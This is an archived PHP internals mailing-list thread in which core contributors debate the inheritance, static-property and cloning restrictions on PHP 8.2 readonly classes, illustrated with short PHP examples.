Issues with readonly classes

2 years ago by Nicolas Grekas — view source

unread

Hello everybody, hi Mate

I played with readonly classes recently, to add support for them to
lazy-loading proxy generation and I struggled upon what I see as serious
issues.

As noted in the RFC, and because the readonly flag must be set on child
classes, those cannot:

Declare a new non-readonly property;
Have static properties;
Have dynamic properties.

I figured out 1. and 2. not by reading the RFC but because I needed those
capabilities in the generated inheritance proxies.

is the most serious one: being able to declare a non-readonly property
is the only way to implement a cloneable proxy (to be allowed to do
$this->realInstance = clone $this->realInstance; in __clone()). I think
there are two ways to solve the use case I have: A. fix the
non-cloneability of readonly props or B. allow child classes to add
non-readonly properties. Because to me this is a serious restriction, A or
B should ideally be in 8.2. I think A is a must-have so that might be the
thing to do. But I'm also wondering about B: the RFC doesn't contain any
rationale about why this restriction exists (it says "Similarly how
overriding of readonly properties works", but the similarity is quite weak,
readonly props don't apply to other properties of child classes.) If there
is no compelling reason to have this limitation, it should be removed IMHO.
Basically, this would mean that child classes of readonly classes wouldn't
have to be readonly themselves (but the existing properties on the parent
would have to be of course.)

For 2.: static properties are useful e.g. to cache some shared state (info
extracted from reflection in my case) and I really don't see why readonly
classes should forbid static properties. Readonly is only useful for
instances, because it gives them immutability, but what's the link with
static properties? Note that this is less important than the previous point
as it's always possible to store shared global state in another class. But
still, this feels arbitrary to me.

For 3. I just noted the limitation to be exhaustive, but I'm really fine if
dynamic properties remain forbidden on child classes. It might be seen as
inconsistent with other classes, but dynamic properties don't have any
purpose anyway since there is always an alternative to them.

I understand there are good intentions behind these limitations (making PHP
a stricter language). But here, I feel like this is detrimental to the
language, by making it a minefield of kinda arbitrary dos and don'ts. At
least that's what I feel here.

Does that make sense to you? Should we remove the limitations I mention?

Nicolas
PS: About allowing readonly props to be reinitialized during cloning, I
tried https://github.com/php/php-src/pull/9403 but I failed as I can't make
it work. I'd appreciate any help on the topic. I'd even be happy to close
if someone else would like to work on the topic. Could that be you?

2 years ago by Marco Pivetta — view source

unread

IMO good as-is: can be relaxed later (8.3 or later), if anybody believes
it's a show-stopper.

Readonly classes don't really need to be lazy.

Marco Pivetta

https://twitter.com/Ocramius

https://ocramius.github.io/

On Fri, 2 Sept 2022 at 19:31, Nicolas Grekas nicolas.grekas+php@gmail.com
wrote:

Hello everybody, hi Mate

I played with readonly classes recently, to add support for them to
lazy-loading proxy generation and I struggled upon what I see as serious
issues.

As noted in the RFC, and because the readonly flag must be set on child
classes, those cannot:

Declare a new non-readonly property;

Have static properties;

Have dynamic properties.

I figured out 1. and 2. not by reading the RFC but because I needed those
capabilities in the generated inheritance proxies.

is the most serious one: being able to declare a non-readonly property
is the only way to implement a cloneable proxy (to be allowed to do
$this->realInstance = clone $this->realInstance; in __clone()). I think
there are two ways to solve the use case I have: A. fix the
non-cloneability of readonly props or B. allow child classes to add
non-readonly properties. Because to me this is a serious restriction, A or
B should ideally be in 8.2. I think A is a must-have so that might be the
thing to do. But I'm also wondering about B: the RFC doesn't contain any
rationale about why this restriction exists (it says "Similarly how
overriding of readonly properties works", but the similarity is quite weak,
readonly props don't apply to other properties of child classes.) If there
is no compelling reason to have this limitation, it should be removed IMHO.
Basically, this would mean that child classes of readonly classes wouldn't
have to be readonly themselves (but the existing properties on the parent
would have to be of course.)

For 2.: static properties are useful e.g. to cache some shared state (info
extracted from reflection in my case) and I really don't see why readonly
classes should forbid static properties. Readonly is only useful for
instances, because it gives them immutability, but what's the link with
static properties? Note that this is less important than the previous point
as it's always possible to store shared global state in another class. But
still, this feels arbitrary to me.

For 3. I just noted the limitation to be exhaustive, but I'm really fine if
dynamic properties remain forbidden on child classes. It might be seen as
inconsistent with other classes, but dynamic properties don't have any
purpose anyway since there is always an alternative to them.

I understand there are good intentions behind these limitations (making PHP
a stricter language). But here, I feel like this is detrimental to the
language, by making it a minefield of kinda arbitrary dos and don'ts. At
least that's what I feel here.

Does that make sense to you? Should we remove the limitations I mention?

Nicolas
PS: About allowing readonly props to be reinitialized during cloning, I
tried https://github.com/php/php-src/pull/9403 but I failed as I can't
make
it work. I'd appreciate any help on the topic. I'd even be happy to close
if someone else would like to work on the topic. Could that be you?

2 years ago by Nicolas Grekas — view source

unread

Hi Marco,

IMO good as-is: can be relaxed later (8.3 or later), if anybody believes

it's a show-stopper.

Readonly classes don't really need to be lazy.

"Break things and move slow" doesn't feel right to me for the language.
Maybe you don't see the need for lazy readonly classes, but that's
nonetheless inconsistent.

Note that lazy-loading is just an example. Any kind of inheritance-based
decorator will be broken, as far as cloning is concerned. This should be
discussed to me.

Nicolas

2 years ago by Marco Pivetta — view source

unread

It doesn't break anything: we have a new limitation, we observe if it is
problematic, we remove that limitation if that is the case.

That already happened for PHP 8.1, although I can't remember the exact
feature.

Let the side wheels attached for now 👍

On Sun, 4 Sep 2022, 12:46 Nicolas Grekas, nicolas.grekas+php@gmail.com
wrote:

Hi Marco,

IMO good as-is: can be relaxed later (8.3 or later), if anybody believes

it's a show-stopper.

Readonly classes don't really need to be lazy.

"Break things and move slow" doesn't feel right to me for the language.
Maybe you don't see the need for lazy readonly classes, but that's
nonetheless inconsistent.

Note that lazy-loading is just an example. Any kind of inheritance-based
decorator will be broken, as far as cloning is concerned. This should be
discussed to me.

Nicolas

2 years ago by Derick Rethans — view source

unread

Hi Marco,

IMO good as-is: can be relaxed later (8.3 or later), if anybody believes

it's a show-stopper.

Readonly classes don't really need to be lazy.

"Break things and move slow" doesn't feel right to me for the language.

It's a new keyword that you have to opt into. So it's not breaking anything. It just means you might not be able to use it for your use case yet.

(and before you say that third party code might add it, you can just say you don't support it yet).

cheers
Derick

2 years ago by Nicolas Grekas — view source

unread

Hi Marco,

IMO good as-is: can be relaxed later (8.3 or later), if anybody believes

it's a show-stopper.

Readonly classes don't really need to be lazy.

"Break things and move slow" doesn't feel right to me for the language.

It's a new keyword that you have to opt into. So it's not breaking
anything. It just means you might not be able to use it for your use case
yet.

(and before you say that third party code might add it, you can just say
you don't support it yet).

It's not like it wouldn't be supported yet. It won't be supported by
design of the language.

Readonly classes introduce a new concept that isn't backed by any language
theory I've read about.
Of course it doesn't break until you use it, but conceptually, it breaks a
universal design pattern: inheritance-based proxy decorators.
What I'm asking for is: what is the justification for this limitation? If
there is none, we should drop it. Preemptively breaking universal concepts
(decoration) by introducing a never-seen concept might be innovation for
sure. Or it might be a mistake. E.g. do we know any other language that
provides something like readonly classes? How do they deal with inheritance?
Can anyone answer those questions?

If we come to the conclusion that there is no backing theory to support
propagating the readonly flag to child classes, then we might decide if we
want to fix this in 8.2 or 8.3. I know I would prefer acting in 8.2, but
that's a separate discussion.

Nicolas

2 years ago by Robert Landers — view source

unread

On Mon, Sep 5, 2022 at 9:57 AM Nicolas Grekas
nicolas.grekas+php@gmail.com wrote:

Hi Marco,

IMO good as-is: can be relaxed later (8.3 or later), if anybody believes

it's a show-stopper.

Readonly classes don't really need to be lazy.

"Break things and move slow" doesn't feel right to me for the language.

It's a new keyword that you have to opt into. So it's not breaking
anything. It just means you might not be able to use it for your use case
yet.

(and before you say that third party code might add it, you can just say
you don't support it yet).

It's not like it wouldn't be supported yet. It won't be supported by
design of the language.

Readonly classes introduce a new concept that isn't backed by any language
theory I've read about.
Of course it doesn't break until you use it, but conceptually, it breaks a
universal design pattern: inheritance-based proxy decorators.
What I'm asking for is: what is the justification for this limitation? If
there is none, we should drop it. Preemptively breaking universal concepts
(decoration) by introducing a never-seen concept might be innovation for
sure. Or it might be a mistake. E.g. do we know any other language that
provides something like readonly classes? How do they deal with inheritance?
Can anyone answer those questions?

If we come to the conclusion that there is no backing theory to support
propagating the readonly flag to child classes, then we might decide if we
want to fix this in 8.2 or 8.3. I know I would prefer acting in 8.2, but
that's a separate discussion.

Nicolas

do we know any other language that provides something like readonly classes? How do they deal with inheritance?

C# has readonly structs, but inheritance isn't allowed with structs so
they slightly side-step this problem.
(https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/builtin-types/struct#readonly-struct)
They also have "records" which are immutable class-like objects with
language support for cloning using with().
https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/builtin-types/record
... these "records" can inherit from each other, but a regular class
cannot inherit from a record and vice-versa.

Robert Landers
Software Engineer
Utrecht NL

2 years ago by kocsismate90@gmail.com — view source

unread

Hi Nicolas,

For 2.: static properties are useful e.g. to cache some shared state (info

extracted from reflection in my case) and I really don't see why readonly
classes should forbid static properties. Readonly is only useful for
instances, because it gives them immutability, but what's the link with
static properties? Note that this is less important than the previous point
as it's always possible to store shared global state in another class. But
still, this feels arbitrary to me.

First, I'll answer to your question about static properties, because the
answer is simple: as readonly static properties are not supported (
https://wiki.php.net/rfc/readonly_properties_v2#restrictions), I had to
decide what to do with static properties of readonly classes (
https://github.com/php/php-src/pull/7305#issuecomment-971381308), so Nikita
and I agreed that forbidding them is the better option until we add support
for static readonly properties. In my opinion, being able to set readwrite
static properties for readonly classes would be very counterintuitive.

But I'm also wondering about B: the RFC doesn't contain any rationale about

why this restriction exists (it says "Similarly how overriding of readonly
properties works", but the similarity is quite weak, readonly props don't
apply to other properties of child classes.) If there is no compelling
reason to have this limitation, it should be removed IMHO. Basically, this
would mean that child classes of readonly classes wouldn't have to be
readonly themselves (but the existing properties on the parent would have
to be of course.)

Regarding your main question: I understand your problem with readonly
classes, and I'd be happy if we found a solution which fits your use-cases
and keeps consistency for the engine at the same time. To give you more
context about the inheritance related restriction in the RFC: I went with
forbidding the extension of readonly classes by non-readonly ones so that
the invariants of the parent (no dynamic or mutable properties are allowed)
don't occasionally get violated by the child. However, I cannot think about
a proper scenario now where this would cause any problems... I'm wondering
if anyone could come up with one?

And at last, regarding the interaction of readonly properties with
__clone(): I'll definitely think more about this topic in the following
weeks. Currently, it seems to me that readonly properties should be able to
be reinitialized once during cloning, but not afterwards. Is this in line
with what you want to achieve? If we once manage to add support for the
"clone with" construct then readonly property reassignment(s) due to "with"
arguments should also be allowed. But I'll need more time to also consider
any undesirable side effects/edge cases, which could apply, should we
settle on the approach described above.

Regards,
Máté

2 years ago by Nicolas Grekas — view source

unread

Hi Mate

For 2.: static properties are useful e.g. to cache some shared state (info

extracted from reflection in my case) and I really don't see why readonly
classes should forbid static properties. Readonly is only useful for
instances, because it gives them immutability, but what's the link with
static properties? Note that this is less important than the previous point
as it's always possible to store shared global state in another class. But
still, this feels arbitrary to me.

First, I'll answer to your question about static properties, because the
answer is simple: as readonly static properties are not supported (
https://wiki.php.net/rfc/readonly_properties_v2#restrictions), I had to
decide what to do with static properties of readonly classes (
https://github.com/php/php-src/pull/7305#issuecomment-971381308), so
Nikita and I agreed that forbidding them is the better option until we add
support for static readonly properties. In my opinion, being able to set
readwrite static properties for readonly classes would be very
counterintuitive.

Thanks for the precision, works for me As I mentioned, there are ways
around anyway (storing in another class or in a static variable.)

But I'm also wondering about B: the RFC doesn't contain any rationale about

why this restriction exists (it says "Similarly how overriding of readonly
properties works", but the similarity is quite weak, readonly props don't
apply to other properties of child classes.) If there is no compelling
reason to have this limitation, it should be removed IMHO. Basically, this
would mean that child classes of readonly classes wouldn't have to be
readonly themselves (but the existing properties on the parent would have
to be of course.)

Regarding your main question: I understand your problem with readonly
classes, and I'd be happy if we found a solution which fits your use-cases
and keeps consistency for the engine at the same time. To give you more
context about the inheritance related restriction in the RFC: I went with
forbidding the extension of readonly classes by non-readonly ones so that
the invariants of the parent (no dynamic or mutable properties are allowed)
don't occasionally get violated by the child. However, I cannot think about
a proper scenario now where this would cause any problems... I'm wondering
if anyone could come up with one?

Not only can I not find where removing this invariant would be a problem, I
also cannot think of where this invariant would be useful. I don't see what
I can build on top of it...

And at last, regarding the interaction of readonly properties with
__clone(): I'll definitely think more about this topic in the following
weeks. Currently, it seems to me that readonly properties should be able to
be reinitialized once during cloning, but not afterwards. Is this in line
with what you want to achieve? If we once manage to add support for the
"clone with" construct then readonly property reassignment(s) due to "with"
arguments should also be allowed. But I'll need more time to also consider
any undesirable side effects/edge cases, which could apply, should we
settle on the approach described above.

During cloning only, yes, and we don't need any new syntax to allow this
(we might need one to make it easier to write wither APIs, but that's
another topic.)
That's exactly what I'm trying to achieve in
https://github.com/php/php-src/pull/9403. For the record, I tried 3
approaches to manage the transient state that is required to flag readonly
properties as once-writeable during cloning. I tried using zval.u1 but I
realized this is a read-only area right?, then tried using zval.u2.extra
but this is not a bitfield, then zval.u2.property_guard but without luck. I
didn't see any blocker either in the engine, so the only reason why I
failed is because my C-related skills are too weak and I'd need help to
figure out a proper patch.

Nicolas

2 years ago by Larry Garfield — view source

unread

Regarding your main question: I understand your problem with readonly
classes, and I'd be happy if we found a solution which fits your use-cases
and keeps consistency for the engine at the same time. To give you more
context about the inheritance related restriction in the RFC: I went with
forbidding the extension of readonly classes by non-readonly ones so that
the invariants of the parent (no dynamic or mutable properties are allowed)
don't occasionally get violated by the child. However, I cannot think about
a proper scenario now where this would cause any problems... I'm wondering
if anyone could come up with one?

I don't have a real-world example, but a general pattern. The advantage of a readonly object (either conventionally like PSR-7 or enforced by the readonly keyword) is that you can store a reference to it without having to worry about it changing out from under you. That means you can code on the assumption that any data derived from that object is also not subject to change.

If you accept a readonly object of type Foo, you would write code around it on that assumption.

If you're then passed an object of type Bar extends Foo, which has an extra non-readonly property, that assumption would now be broken. Whether that counts as a Liskov violation is... a bit squishy, I think.

Where that might be a problem is a case like this:

readonly class Person {
public function __construct(public string $first, public string $last) {}

public function fullName() {
return "$this->first $this->last";
}
}

class FancyPerson extends Person {
public string $middle = '';

public function setMiddle(string $mid) {
$this->middle = $mid;
}

public function fullName() {
return "$this->first $this-middle $this->last";
}
}

class Display {
public function __construct(protected Person $person) {}

public function hello() {
return "Hello " . $this->person->fullName();
}
}

Now, Display assumes Person is readonly, and thus fullName() is idempotent, and thus Display::hello() is idempotent. But if you pass a FancyPerson to Display, then fullName() is not safely idempotent (it may change out from under you) and thus hello() is no longer idempotent.

Whether or not that problem actually exists in practice is another question. And to be fair, the same risk exists for conventionally-readonly classes today (PSR-7, PSR-13, etc.), unless they're made final. Arguably the safety signaling of a lexically readonly class is stronger than for a conventionally readonly class, so one would expect that to not be broken. But that's the case where a non-readonly child of a readonly parent can cause problems.

Personally I'm undecided at the moment whether or not it should be allowed. I'm sympathetic to the "it's easier to disallow and allow later than vice versa" argument, but still not sure where I stand. The above at least gives a concrete example of where the problem would be.

--Larry Garfield

2 years ago by Nicolas Grekas — view source

unread

Hello Larry,

Regarding your main question: I understand your problem with readonly

classes, and I'd be happy if we found a solution which fits your
use-cases
and keeps consistency for the engine at the same time. To give you more
context about the inheritance related restriction in the RFC: I went with
forbidding the extension of readonly classes by non-readonly ones so that
the invariants of the parent (no dynamic or mutable properties are
allowed)
don't occasionally get violated by the child. However, I cannot think
about
a proper scenario now where this would cause any problems... I'm
wondering
if anyone could come up with one?

I don't have a real-world example, but a general pattern. The advantage
of a readonly object (either conventionally like PSR-7 or enforced by the
readonly keyword) is that you can store a reference to it without having
to worry about it changing out from under you. That means you can code on
the assumption that any data derived from that object is also not subject
to change.

If you accept a readonly object of type Foo, you would write code around
it on that assumption.

If you're then passed an object of type Bar extends Foo, which has an
extra non-readonly property, that assumption would now be broken. Whether
that counts as a Liskov violation is... a bit squishy, I think.

Where that might be a problem is a case like this:

readonly class Person {
public function __construct(public string $first, public string $last) {}

public function fullName() {
return "$this->first $this->last";
}
}

class FancyPerson extends Person {
public string $middle = '';

public function setMiddle(string $mid) {
$this->middle = $mid;
}

public function fullName() {
return "$this->first $this-middle $this->last";
}
}

class Display {
public function __construct(protected Person $person) {}

public function hello() {
return "Hello " . $this->person->fullName();
}
}

Now, Display assumes Person is readonly, and thus fullName() is
idempotent, and thus Display::hello() is idempotent. But if you pass a
FancyPerson to Display, then fullName() is not safely idempotent (it may
change out from under you) and thus hello() is no longer idempotent.

Whether or not that problem actually exists in practice is another
question. And to be fair, the same risk exists for conventionally-readonly
classes today (PSR-7, PSR-13, etc.), unless they're made final. Arguably
the safety signaling of a lexically readonly class is stronger than for a
conventionally readonly class, so one would expect that to not be broken.
But that's the case where a non-readonly child of a readonly parent can
cause problems.

Thanks for constructing this example, that's good food for thoughts.
Unfortunately, The code following readonly child class shows that this
safety you describe doesn't exist:

readonly class FancyPerson extends Person {
private readonly stdClass $middle;

public function setMiddle(string $mid) {
$this->middle ??= new stdClass;
$this->middle->name = $mid;
}

public function fullName() {
return "$this->first $this-middle $this->last";
}
}

Personally I'm undecided at the moment whether or not it should be
allowed. I'm sympathetic to the "it's easier to disallow and allow later
than vice versa" argument, but still not sure where I stand. The above at
least gives a concrete example of where the problem would be.

If we want the safety you describe, we might want a stronger version of it.
Let's name it immutable. An immutable property/class would be like a
readonly property with the additional restriction that only an immutable
value could be assigned to it (scalars + array + immutable classes.) But
that's another topic.

Your example made me doubt for a moment, but without any convincing
purpose, this should help decide that child classes shouldn't have to be
readonly.

Nicolas

2 years ago by Larry Garfield — view source

unread

Hello Larry,

Regarding your main question: I understand your problem with readonly

classes, and I'd be happy if we found a solution which fits your
use-cases
and keeps consistency for the engine at the same time. To give you more
context about the inheritance related restriction in the RFC: I went with
forbidding the extension of readonly classes by non-readonly ones so that
the invariants of the parent (no dynamic or mutable properties are
allowed)
don't occasionally get violated by the child. However, I cannot think
about
a proper scenario now where this would cause any problems... I'm
wondering
if anyone could come up with one?

I don't have a real-world example, but a general pattern. The advantage
of a readonly object (either conventionally like PSR-7 or enforced by the
readonly keyword) is that you can store a reference to it without having
to worry about it changing out from under you. That means you can code on
the assumption that any data derived from that object is also not subject
to change.

If you accept a readonly object of type Foo, you would write code around
it on that assumption.

If you're then passed an object of type Bar extends Foo, which has an
extra non-readonly property, that assumption would now be broken. Whether
that counts as a Liskov violation is... a bit squishy, I think.

Where that might be a problem is a case like this:

readonly class Person {
public function __construct(public string $first, public string $last) {}

public function fullName() {
return "$this->first $this->last";
}
}

class FancyPerson extends Person {
public string $middle = '';

public function setMiddle(string $mid) {
$this->middle = $mid;
}

public function fullName() {
return "$this->first $this-middle $this->last";
}
}

class Display {
public function __construct(protected Person $person) {}

public function hello() {
return "Hello " . $this->person->fullName();
}
}

Now, Display assumes Person is readonly, and thus fullName() is
idempotent, and thus Display::hello() is idempotent. But if you pass a
FancyPerson to Display, then fullName() is not safely idempotent (it may
change out from under you) and thus hello() is no longer idempotent.

Whether or not that problem actually exists in practice is another
question. And to be fair, the same risk exists for conventionally-readonly
classes today (PSR-7, PSR-13, etc.), unless they're made final. Arguably
the safety signaling of a lexically readonly class is stronger than for a
conventionally readonly class, so one would expect that to not be broken.
But that's the case where a non-readonly child of a readonly parent can
cause problems.

Thanks for constructing this example, that's good food for thoughts.
Unfortunately, The code following readonly child class shows that this
safety you describe doesn't exist:

readonly class FancyPerson extends Person {
private readonly stdClass $middle;

public function setMiddle(string $mid) {
$this->middle ??= new stdClass;
$this->middle->name = $mid;
}

public function fullName() {
return "$this->first $this-middle $this->last";
}
}

Hm. I seem to recall during the discussion of readonly classes someone saying that object properties of a readonly class had to also be readonly classes, which would render the above code a compile error. However, I just checked and that is not in the RFC. Was it removed? Am I imagining things? Anyone else know what I'm talking about? :-)

--Larry Garfield

2 years ago by Jordan LeDoux — view source

unread

On Sun, Sep 11, 2022 at 8:22 AM Larry Garfield larry@garfieldtech.com
wrote:

Hm. I seem to recall during the discussion of readonly classes someone
saying that object properties of a readonly class had to also be readonly
classes, which would render the above code a compile error. However, I
just checked and that is not in the RFC. Was it removed? Am I imagining
things? Anyone else know what I'm talking about? :-)

--Larry Garfield

I remembered the same thing, and am similarly baffled. How did the RFC pass
if you can do something as simple as public readonly stdClass $var;? I
thought I followed the discussion on that RFC, but apparently I missed
something. I would have expected an example like above to block acceptance
of the RFC. To be clear though, I'm mostly confused about what the
convincing argument about this was, or if it was something that everyone
else viewed as an uncontroversial aspect?

Jordan

2 years ago by Larry Garfield — view source

unread

On Sun, Sep 11, 2022 at 8:22 AM Larry Garfield larry@garfieldtech.com
wrote:

Hm. I seem to recall during the discussion of readonly classes someone
saying that object properties of a readonly class had to also be readonly
classes, which would render the above code a compile error. However, I
just checked and that is not in the RFC. Was it removed? Am I imagining
things? Anyone else know what I'm talking about? :-)

--Larry Garfield

I remembered the same thing, and am similarly baffled. How did the RFC pass
if you can do something as simple as public readonly stdClass $var;? I
thought I followed the discussion on that RFC, but apparently I missed
something. I would have expected an example like above to block acceptance
of the RFC. To be clear though, I'm mostly confused about what the
convincing argument about this was, or if it was something that everyone
else viewed as an uncontroversial aspect?

Jordan

Does anyone else recall this? Máté, are Jordan and I just imagining things?

--Larry Garfield

2 years ago by kocsismate90@gmail.com — view source

unread

Hi,

I remembered the same thing, and am similarly baffled. How did the RFC pass

if you can do something as simple as public readonly stdClass $var;? I
thought I followed the discussion on that RFC, but apparently I missed
something. I would have expected an example like above to block acceptance
of the RFC. To be clear though, I'm mostly confused about what the
convincing argument about this was, or if it was something that everyone
else viewed as an uncontroversial aspect?

The readonly class RFC doesn't really bring anything new to the table, just
complements the readonly property RFC. The latter RFC
explicitly mentions that interior mutability of properties is not
restricted in any way. In my opinion, this is a wise and pragmatic approach,
so that use-cases like the body stream of PSR-7 remain possible. Please
note that the feature is called "readonly", not "immutable".

What's your take about 8.2? As I demonstrated, readonly classes are broken

because of this propagation to child classes. Does that mean we should
remove this constraint from 8.2? What about reverting the feature and
considering it again for 8.3, after fixing it?

I agree with Tim, and I also think that both reverting and making any last
minute fundamental change is not a good idea, especially
because people don't have a clear agreement about how inheritance
should work. Readonly classes is an optional feature, so anyone
who wants proxies to work can simply not add the readonly flag to their
classes. Of course, it's a bit more tricky for library code,
but package authors should be aware of this gotcha. Having that said, I'll
try my best to fix the current shortcomings for PHP 7.3.

broken. see thread

I may be biased, but neither I would call the whole feature "broken". It
works as intended for many regular use-cases. However, as you
highlighted in the thread, there are some use-cases with which the
interoperability of readonly classes is suboptimal, to say the least.
This is because the RFC was designed with a conservative approach (e.g.
static properties and inheritance by non-readonly classes
are forbidden). This way, we'll be able to iteratively improve the feature,
while we minimize the risk of introducing undesirable behavior
which would be difficult to get rid of later. I know that there is a thin
line between "conservative" and "incomplete", but I do hope that
PHP 7.3 will be the first version where readonly properties become actually
useful.

Does anyone else recall this? Máté, are Jordan and I just imagining

things?

It may be possible that the discussion extended to this question, but
neither me (author of the previous readonly properties RFC), nor
Nikita had intention to restrict the usage this way due to the reasons
detailed in the first paragraph.

Regards,
Máté

2 years ago by Jordan LeDoux — view source

unread

Hi,

I agree with Tim, and I also think that both reverting and making any last
minute fundamental change is not a good idea, especially
because people don't have a clear agreement about how inheritance
should work. Readonly classes is an optional feature, so anyone
who wants proxies to work can simply not add the readonly flag to their
classes. Of course, it's a bit more tricky for library code,
but package authors should be aware of this gotcha. Having that said, I'll
try my best to fix the current shortcomings for PHP 7.3.

Regards,
Máté

I tried hard to make it clear that I don't think this makes it "broken", it
was just a deviation from my expectations and memory, both of which can
obviously be flawed. I was mostly looking for some kind of information
about what the reasoning was for this, given that I obviously (since I
didn't remember it) missed that part of the discussion. The distinction
between "readonly" and "immutable" is subtle, but fair. This distinction
should probably be pointed out quite explicitly in the documentation
though.

If my default assumption (and Larry's) was that such a class would be
immutable, it's fair to think that a non-trivial number of other
programmers may make the same faulty assumption, and making this
distinction obvious in the documentation would probably help.

Jordan

2 years ago by kocsismate90@gmail.com — view source

unread

Hi,

If my default assumption (and Larry's) was that such a class would be
immutable, it's fair to think that a non-trivial number of other
programmers may make the same faulty assumption, and making this
distinction obvious in the documentation would probably help.

Yes, it makes sense to mention this in the documentation, but fortunately,
the manual already makes the behavior clear at
https://www.php.net/manual/en/language.oop5.properties.php#language.oop5.properties.readonly-properties
:

"However, readonly properties do not preclude interior mutability. Objects
(or resources) stored in readonly properties may still be modified
internally:"

Following our discussion, Nicolas and I announced our proposal to fix two
of the above mentioned issues: https://externals.io/message/119007 Feedback
is welcome!

Regards:
Máté

Jordan LeDoux jordan.ledoux@gmail.com ezt írta (időpont: 2022. szept.
25., V, 23:01):

On Sun, Sep 25, 2022 at 10:57 AM Máté Kocsis kocsismate90@gmail.com
wrote:

Hi,

I agree with Tim, and I also think that both reverting and making any last
minute fundamental change is not a good idea, especially
because people don't have a clear agreement about how inheritance
should work. Readonly classes is an optional feature, so anyone
who wants proxies to work can simply not add the readonly flag to their
classes. Of course, it's a bit more tricky for library code,
but package authors should be aware of this gotcha. Having that said, I'll
try my best to fix the current shortcomings for PHP 7.3.

Regards,
Máté

I tried hard to make it clear that I don't think this makes it "broken",
it was just a deviation from my expectations and memory, both of which can
obviously be flawed. I was mostly looking for some kind of information
about what the reasoning was for this, given that I obviously (since I
didn't remember it) missed that part of the discussion. The distinction
between "readonly" and "immutable" is subtle, but fair. This distinction
should probably be pointed out quite explicitly in the documentation
though.

If my default assumption (and Larry's) was that such a class would be
immutable, it's fair to think that a non-trivial number of other
programmers may make the same faulty assumption, and making this
distinction obvious in the documentation would probably help.

Jordan

2 years ago by Larry Garfield — view source

unread

Personally I'm undecided at the moment whether or not it should be
allowed. I'm sympathetic to the "it's easier to disallow and allow later
than vice versa" argument, but still not sure where I stand. The above at
least gives a concrete example of where the problem would be.

If we want the safety you describe, we might want a stronger version of it.
Let's name it immutable. An immutable property/class would be like a
readonly property with the additional restriction that only an immutable
value could be assigned to it (scalars + array + immutable classes.) But
that's another topic.

Your example made me doubt for a moment, but without any convincing
purpose, this should help decide that child classes shouldn't have to be
readonly.

Nicolas

Another question I think is pertinent to ask: What kinds of objects generally would be proxied in this way, and are those the kinds of objects where a readonly object would make sense?

Off hand, I'd expect this kind of proxying to be used mainly on services, whereas readonly classes would be mostly value objects. So the problem space may be smaller than it initially appears.

--Larry Garfield

2 years ago by Nicolas Grekas — view source

unread

Personally I'm undecided at the moment whether or not it should be
allowed. I'm sympathetic to the "it's easier to disallow and allow
later
than vice versa" argument, but still not sure where I stand. The above
at
least gives a concrete example of where the problem would be.

If we want the safety you describe, we might want a stronger version of
it.
Let's name it immutable. An immutable property/class would be like a
readonly property with the additional restriction that only an immutable
value could be assigned to it (scalars + array + immutable classes.) But
that's another topic.

Your example made me doubt for a moment, but without any convincing
purpose, this should help decide that child classes shouldn't have to be
readonly.

Nicolas

Another question I think is pertinent to ask: What kinds of objects
generally would be proxied in this way, and are those the kinds of objects
where a readonly object would make sense?

Off hand, I'd expect this kind of proxying to be used mainly on services,
whereas readonly classes would be mostly value objects. So the problem
space may be smaller than it initially appears.

It's very difficult to anticipate this. Here is a counter argument:
About services: the best ones are of the functional sort; they don't hold
any states and their dependencies are also pure functional units. Aka
they're immutable and they're good candidates for readonly classes.
About entities: e.g. Doctrine proxies them all.
So no, I wouldn't say that services are the most common things to proxy,
and that entities are the most common things to use readonly on...

I hope this discussion illustrated why we should remove propagating
readonly to child classes: it serves no purpose and it breaks a universal
design pattern. There is no rationale that supports the current behavior.

Mate, WDYT?

Cheers,

Nicolas

2 years ago by kocsismate90@gmail.com — view source

unread

Hi Nicolas, Larry,

Mate, WDYT?

When I was working on the readonly class RFC, I realized that the readonly
keyword very naturally fits services besides value objects. So my
expectation has been that until we can fix the issue with cloning, people
would mainly apply readonly to services. Not that it is very useful, but I
would also feel some kind of weird fulfillment by doing so.

Regarding cloning: I created a WIP PR not long ago to fix the
aforementioned cloning issue, and I'll pursue a readonly amendment RFC in
the coming weeks (or month) containing the long awaited improvements for
cloning (hopefully together with the "clone with" construct) and possibly
with this inheritance-related change Nicolas proposed, unless someone can
come up with an ultimate counter-argument.

Regards:
Máté

2 years ago by Nicolas Grekas — view source

unread

Hi all,

When I was working on the readonly class RFC, I realized that the readonly
keyword very naturally fits services besides value objects. So my
expectation has been that until we can fix the issue with cloning, people
would mainly apply readonly to services. Not that it is very useful, but I
would also feel some kind of weird fulfillment by doing so.

Regarding cloning: I created a WIP PR not long ago to fix the
aforementioned cloning issue, and I'll pursue a readonly amendment RFC in
the coming weeks (or month) containing the long awaited improvements for
cloning (hopefully together with the "clone with" construct) and possibly
with this inheritance-related change Nicolas proposed, unless someone can
come up with an ultimate counter-argument.

What's your take about 8.2? As I demonstrated, readonly classes are broken
because of this propagation to child classes. Does that mean we should
remove this constraint from 8.2? What about reverting the feature and
considering it again for 8.3, after fixing it?

I'm looking forward to your work on cloning! Note that "clone-with" or
similar is a separate issue from the current inability to clone readonly
properties within the __clone method. It might be easier to tackle them
independently, from a discussion pov.

Cheers,
Nicolas

2 years ago by Marco Pivetta — view source

unread

On Wed, 21 Sept 2022 at 11:30, Nicolas Grekas nicolas.grekas+php@gmail.com
wrote:

Hi all,

When I was working on the readonly class RFC, I realized that the
readonly
keyword very naturally fits services besides value objects. So my
expectation has been that until we can fix the issue with cloning, people
would mainly apply readonly to services. Not that it is very useful, but
I
would also feel some kind of weird fulfillment by doing so.

Regarding cloning: I created a WIP PR not long ago to fix the
aforementioned cloning issue, and I'll pursue a readonly amendment RFC in
the coming weeks (or month) containing the long awaited improvements for
cloning (hopefully together with the "clone with" construct) and possibly
with this inheritance-related change Nicolas proposed, unless someone can
come up with an ultimate counter-argument.

What's your take about 8.2? As I demonstrated, readonly classes are broken
because of this propagation to child classes.

s/broken/working as expected

Marco Pivetta

https://twitter.com/Ocramius

https://ocramius.github.io/

2 years ago by Nicolas Grekas — view source

unread

When I was working on the readonly class RFC, I realized that the
readonly

keyword very naturally fits services besides value objects. So my
expectation has been that until we can fix the issue with cloning,
people
would mainly apply readonly to services. Not that it is very useful,
but I
would also feel some kind of weird fulfillment by doing so.

Regarding cloning: I created a WIP PR not long ago to fix the
aforementioned cloning issue, and I'll pursue a readonly amendment RFC
in
the coming weeks (or month) containing the long awaited improvements for
cloning (hopefully together with the "clone with" construct) and
possibly
with this inheritance-related change Nicolas proposed, unless someone
can
come up with an ultimate counter-argument.

